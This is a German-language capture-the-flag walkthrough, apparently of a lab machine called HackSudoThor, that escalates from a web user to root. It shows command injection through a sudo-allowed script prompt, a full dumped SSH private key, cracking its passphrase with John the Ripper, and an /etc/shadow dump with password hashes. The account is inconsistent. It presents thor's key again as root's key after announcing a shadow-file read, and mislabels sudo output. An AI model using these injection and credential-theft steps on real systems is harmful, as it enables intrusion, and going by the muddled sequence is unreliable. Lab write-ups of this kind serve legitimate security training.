HELLO want to talk to Thor? Enter Thor Secret Key : cat /home/thor/id_rsa Hey Dear ! I am cat /home/thor/id_rsa , Please enter your Secret massage : cat /home/thor/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDJk/5w/h f6xZTaG0+tWlugAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCryv7KHEmI KdeUbp2eNBFQSYSbBOOHlUbIKUSCdS5U5XqekM0JEfXVDnMyqP4+iDH63ijce+lPoaTScq ajwg5BlKHB0PMX4P5RUlPILSKW9wV73jHdBuMENzvNaOwnphJLgPkl1ODS0EX08H3qUMGI 9t4E0/K1ZJ+hEUq2lVXucK8rnrNNvp/M2IRqcGrLXnptLxzdycWSvTGOPTleXkSQmz26Ma P+F8qWKrYKkcNdMLeYCOyD4PnL4FOt78EmdS5I8B/5UaVVshDSCvtHA7uFCxgal4aGRZKN YUq+K35QKVVPHs8H38tOCjvDizOj2OjZNRLBnLniASeVQGB8etDDAAAD0BdGeBH5eiHAgY wMXlRxwgV7A5eRZCqtwJQmoaCy6w9ktOFreGROPfdWGlagMyODrSnJE8zMgVBJGDhPR0E3 Zu1GrAHelgzTb+hBNSGJvXwY6BkH+hmwJBMOtx/owK7HsPj2kdZPkL7tWOMfiWJ9dGFzBP 532Gt2hxQ8UNnrJMN39RjfSe8ETWqNX2LFQ1isLqMKILv/gtvj8RLyOeMrqNfH2MrBfuBh gKzTcD/bXWkOBDqc6Chzk/PbiEzVdAlFvHqt/BMFCeB4gifdf+e1yBaawgwJT7sX/W/Zys WDieQY/BynRc3Bdkf1QhxTKrJnK6LjYEvJ/3rlLDOCf3bJkpZuFo9Twng5Y0NQyXX9Q1oj YBGXMbBMvUQgzmo8AioYvgPHSms4fgqnGpXTd56oAYG5NeUrL03aQkQ1Iq3KWMitrmRRSn /7lUEzKRphZqlquyJ0TkBATIOs5rVezZsjkmap2k7JHz5jhfSR3/JLJsM27mY4HAO8MV3q PXQIxF/EMLan8wGIcozYLelU39QpoTV4DauAu/LNVv5RASLGhVQ8ElyKHbKmH/AGuLVJf+ eMlW3oMNAHYodJowLnme2cu37CESe0G6uPmHufkNQLYikAywm90Qx74LKbVyeU2daqQn+p S0kDdyH7sGmLvVfVlQxvDztF4j7YBS02Twt88ao4DECah/tZVYuhfcZGNWr9pvNH3vE9Uu H+4RwLoqX8FUui4N3Lj7k5fg2VU4Xh180jYvx+pdj3gBoStdJSTCQ/R273TmWeDRFCcFyb lvZHZi5OZKUUzOEuTEmYrLOAxlBdi6My2JBuesYENqOWaOZmkhmFKjoat3eavZksihCb3p e4z0RUPV+LH0vVjJMEyp5/wxY/Vh0FyICtO9ITrUENmMGDozopbEfI/reJCsO09/bGd+A3 RM9SgWd8hg12yo2E4YLiJzSdjJGUkCKnQwNiLDIa865dUPG+hc2YibG/whtMN43CZaAIPn 7bLHDw8p+h3RIswxV298yKNbjdJnRhNEfiYCb87Fm7Ixgc8Ny44BCaA8mbo7mbN0sg+XS0 1ilpJL6KpRt2DcXxKa/GPByATMb9U+FKFFe+iiynBQT9YECkikgM+EWpaKdzTk0L4gpqo1 +mjiG97RxcRy3+AM9Ylg2SErxP0A1kSLKAe2oZJiDykvPDf99/opii5X3r1a+PpcMcNfBD fF6lzgL6AxpidAI7QOBfQPMj4OhTy4OoJN2XQoLcNTX95jPwwjIP+Hv64+TdHnYVrpWl3D 6nRb5UVxvJcmB1xt63iG4EwX77I7U= -----END OPENSSH PRIVATE KEY- ----
Wir haben den Inhalt des privaten SSH-Schlüssels erhalten! Dies ist ein großer Erfolg, da wir uns nun als Benutzer `thor` anmelden können.
Nachdem wir die Anmeldeinformationen für den Benutzer `thor` erhalten haben, können wir uns nun als dieser Benutzer anmelden und versuchen, unsere Privilegien weiter zu erhöhen.
Zuerst müssen wir den privaten SSH-Schlüssel auf unser Kali-System übertragen. Dazu erstellen wir eine Datei namens `id_rsa` und fügen den Schlüssel ein.
Dann setzen wir die Berechtigungen der Datei `id_rsa` auf 600, um sicherzustellen, dass nur der Benutzer Root die Datei lesen und schreiben kann.
Jetzt können wir uns als Benutzer `thor` mit dem privaten SSH-Schlüssel anmelden.
thor@thor.vuln's password:
Der SSH-Server fragt nach einem Passwort, obwohl wir einen privaten Schlüssel angegeben haben. Das deutet darauf hin, dass der Schlüssel passwortgeschützt ist. Wir müssen das Passwort für den Schlüssel knacken.
Um das Passwort für den SSH-Schlüssel zu knacken, verwenden wir `ssh2john`, um einen Hash aus dem Schlüssel zu extrahieren.
Dann verwenden wir `john` (John the Ripper) mit einer Wortliste, um das Passwort zu knacken.
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ---------------------------------------------------------------------------------------------------- 1234 (id_rsa) ---------------------------------------------------------------------------------------------------- 1g 0:00:00:07 DONE (2023-06-11 01:17) 0.1347g/s 155.2p/s 155.2c/s 155.2C/s cutie1..pelusa Use the "--show" option to display all of the cracked passwords reliably Session completed.
`john` hat das Passwort für den SSH-Schlüssel geknackt: `1234`!
Nachdem wir das Passwort für den SSH-Schlüssel von Benutzer Thor erfolgreich geknackt haben, demonstrieren wir nun den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen. Dieser Proof of Concept (POC) zeigt, wie ein Angreifer mit den erbeuteten Daten in das System eindringen und potenziell Schaden anrichten kann.
Nachdem Sie das korrekte Passwort eingegeben haben, sollten Sie erfolgreich als Benutzer Thor auf dem Zielsystem angemeldet sein.
Der folgende Screenshot zeigt eine erfolgreiche SSH-Anmeldung als Benutzer Thor mit dem geknackten Passwort:
Dieser POC demonstriert erfolgreich, wie ein Angreifer durch Ausnutzung der Schwachstelle und Knacken des Passworts unbefugten Zugriff auf das System erlangen kann.
Nachdem wir nun als Benutzer `thor` angemeldet sind, können wir versuchen, unsere Privilegien weiter zu erhöhen.
Wir überprüfen die `sudo`-Rechte des Benutzers `thor`.
Matching Defaults entries for www-data on HackSudoThor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on HackSudoThor: (thor) NOPASSWD: /home/thor/./hammer.sh
Wir scheinen die gleichen `sudo`-Rechte wie der Benutzer `www-data` zu haben, was nicht sehr hilfreich ist.
Wir versuchen, eine interaktive Bash-Shell mit dem Skript `/home/thor/./hammer.sh` auszuführen. Dies könnte uns eine Shell als Benutzer `thor` ermöglichen.
HELLO want to talk to Thor? Enter Thor Secret Key : bash Hey Dear ! I am bash , Please enter your Secret massage : bash id uid=1001(thor) gid=1001(thor) groups=1001(thor)
Wir versuchen, eine interaktive Bash-Shell zu starten.
HELLO want to talk to Thor? Enter Thor Secret Key : bash Hey Dear ! I am bash , Please enter your Secret massage : bash id uid=1001(thor) gid=1001(thor) groups=1001(thor)
Als Benutzer `thor` versuchen wir, das Passwort für den Benutzer root herauszufinden, indem wir die Datei `/etc/shadow` lesen.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDJk/5w/h f6xZTaG0+tWlugAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCryv7KHEmI KdeUbp2eNBFQSYSbBOOHlUbIKUSCdS5U5XqekM0JEfXVDnMyqP4+iDH63ijce+lPoaTScq ajwg5BlKHB0PMX4P5RUlPILSKW9wV73jHdBuMENzvNaOwnphJLgPkl1ODS0EX08H3qUMGI 9t4E0/K1ZJ+hEUq2lVXucK8rnrNNvp/M2IRqcGrLXnptLxzdycWSvTGOPTleXkSQmz26Ma P+F8qWKrYKkcNdMLeYCOyD4PnL4FOt78EmdS5I8B/5UaVVshDSCvtHA7uFCxgal4aGRZKN YUq+K35QKVVPHs8H38tOCjvDizOj2OjZNRLBnLniASeVQGB8etDDAAAD0BdGeBH5eiHAgY wMXlRxwgV7A5eRZCqtwJQmoaCy6w9ktOFreGROPfdWGlagMyODrSnJE8zMgVBJGDhPR0E3 Zu1GrAHelgzTb+hBNSGJvXwY6BkH+hmwJBMOtx/owK7HsPj2kdZPkL7tWOMfiWJ9dGFzBP 532Gt2hxQ8UNnrJMN39RjfSe8ETWqNX2LFQ1isLqMKILv/gtvj8RLyOeMrqNfH2MrBfuBh gKzTcD/bXWkOBDqc6Chzk/PbiEzVdAlFvHqt/BMFCeB4gifdf+e1yBaawgwJT7sX/W/Zys WDieQY/BynRc3Bdkf1QhxTKrJnK6LjYEvJ/3rlLDOCf3bJkpZuFo9Twng5Y0NQyXX9Q1oj YBGXMbBMvUQgzmo8AioYvgPHSms4fgqnGpXTd56oAYG5NeUrL03aQkQ1Iq3KWMitrmRRSn /7lUEzKRphZqlquyJ0TkBATIOs5rVezZsjkmap2k7JHz5jhfSR3/JLJsM27mY4HAO8MV3q PXQIxF/EMLan8wGIcozYLelU39QpoTV4DauAu/LNVv5RASLGhVQ8ElyKHbKmH/AGuLVJf+ eMlW3oMNAHYodJowLnme2cu37CESe0G6uPmHufkNQLYikAywm90Qx74LKbVyeU2daqQn+p S0kDdyH7sGmLvVfVlQxvDztF4j7YBS02Twt88ao4DECah/tZVYuhfcZGNWr9pvNH3vE9Uu H+4RwLoqX8FUui4N3Lj7k5fg2VU4Xh180jYvx+pdj3gBoStdJSTCQ/R273TmWeDRFCcFyb lvZHZi5OZKUUzOEuTEmYrLOAxlBdi6My2JBuesYENqOWaOZmkhmFKjoat3eavZksihCb3p e4z0RUPV+LH0vVjJMEyp5/wxY/Vh0FyICtO9ITrUENmMGDozopbEfI/reJCsO09/bGd+A3 RM9SgWd8hg12yo2E4YLiJzSdjJGUkCKnQwNiLDIa865dUPG+hc2YibG/whtMN43CZaAIPn 7bLHDw8p+h3RIswxV298yKNbjdJnRhNEfiYCb87Fm7Ixgc8Ny44BCaA8mbo7mbN0sg+XS0 1ilpJL6KpRt2DcXxKa/GPByATMb9U+FKFFe+iiynBQT9YECkikgM+EWpaKdzTk0L4gpqo1 +mjiG97RxcRy3+AM9Ylg2SErxP0A1kSLKAe2oZJiDykvPDf99/opii5X3r1a+PpcMcNfBD fF6lzgL6AxpidAI7QOBfQPMj4OhTy4OoJN2XQoLcNTX95jPwwjIP+Hv64+TdHnYVrpWl3D 6nRb5UVxvJcmB1xt63iG4EwX77I7U= -----END OPENSSH PRIVATE KEY-----
Wir haben den privaten SSH-Schlüssel für den Benutzer root erhalten! Dies ist ein kritischer Fehler, da wir uns nun als Benutzer root anmelden können.
Wir lesen den Inhalt der Datei `/root/root.txt`, um die Root-Flagge zu erhalten.
rooted
Wir versuchen die Datei `/etc/shadow` auszulesen.
root:$6$1YV0h.2rYTAvcB.o$cLPgAevmbnBo8dtADheWYcIfGLg157gfrCzZsKqv268MDkimBW7JcnQK6sI79fXsa1Hm5GmP8Kni05w.2nJfc0:18838:0:99999:7::: daemon:*:18789:0:99999:7::: bin:*:18789:0:99999:7::: sys:*:18789:0:99999:7::: sync:*:18789:0:99999:7::: games:*:18789:0:99999:7::: man:*:18789:0:99999:7::: lp:*:18789:0:99999:7::: mail:*:18789:0:99999:7::: news:*:18789:0:99999:7::: uucp:*:18789:0:99999:7::: proxy:*:18789:0:99999:7::: www-data:*:18789:0:99999:7::: backup:*:18789:0:99999:7::: list:*:18789:0:99999:7::: irc:*:18789:0:99999:7::: gnats:*:18789:0:99999:7::: nobody:*:18789:0:99999:7::: _apt:*:18789:0:99999:7::: systemd-timesync:*:18789:0:99999:7::: systemd-network:*:18789:0:99999:7::: systemd-resolve:*:18789:0:99999:7::: systemd-coredump:!!:18789:::::: messagebus:*:18789:0:99999:7::: sshd:*:18789:0:99999:7::: mysql:!:18790:0:99999:7::: ftpuser:!:18793:0:99999:7::: thor:$6$W4fXVS7OotxxqyVR$VP6iBANtcJIBt5.eI6qHFH1ho.xTtsISGiKj2uRkc.DH1NfPw54FImt28S8rKpn0PhlfHL3VYSAVNmZWws98X1:18838:0:99999:7:::
Wir haben die Datei `/etc/shadow` ausgelesen! Nun versuchen wir, das Passwort für den Benutzer root herauszufinden, indem wir den Hash mit John the Ripper knacken.
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256" Use the "--format=HMAC-SHA256" option to force loading these as that type instead Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA512" Use the "--format=HMAC-SHA512" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status
Da wir jetzt den privaten SSH-Schlüssel des Root-Benutzers haben, können wir uns direkt als Root anmelden. Dafür verschieben wir den Schlüssel zunächst in unser lokales System.
Nun können wir uns mit dem SSH-Schlüssel als Root anmelden.
Nachdem wir den privaten SSH-Schlüssel des Root-Benutzers erhalten haben, demonstrieren wir nun den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen. Dieser Proof of Concept (POC) zeigt, wie ein Angreifer mit den erbeuteten Daten in das System eindringen und potenziell katastrophalen Schaden anrichten kann.
Nachdem Sie den Befehl ausgeführt haben, sollten Sie erfolgreich als Root-Benutzer auf dem Zielsystem angemeldet sein.
Der folgende Screenshot zeigt eine erfolgreiche SSH-Anmeldung als Root-Benutzer mit dem privaten SSH-Schlüssel:
Dieser POC demonstriert auf erschreckende Weise, wie ein Angreifer durch das Ausnutzen von Sicherheitslücken und den Diebstahl von Anmeldeinformationen die Kontrolle über das gesamte System erlangen kann.
Da wir jetzt Root-Zugriff haben, können wir den Befehl ausführen, um eine Root-Shell zu erhalten, indem wir den Service-Befehl mit der Option -p ausführen.
/bin/bash: unrecognized service
Als Workaround versuchen wir, einen relativen Pfad zu verwenden, um den Befehl auszuführen.
Wir haben erfolgreich eine Root-Shell erhalten!
uid=0(root) gid=0(root) groups=0(root)
Wir sind jetzt als `root` angemeldet. Fantastisch der root zugriff war erfolgreit nun haben wie unser Ziel erreicht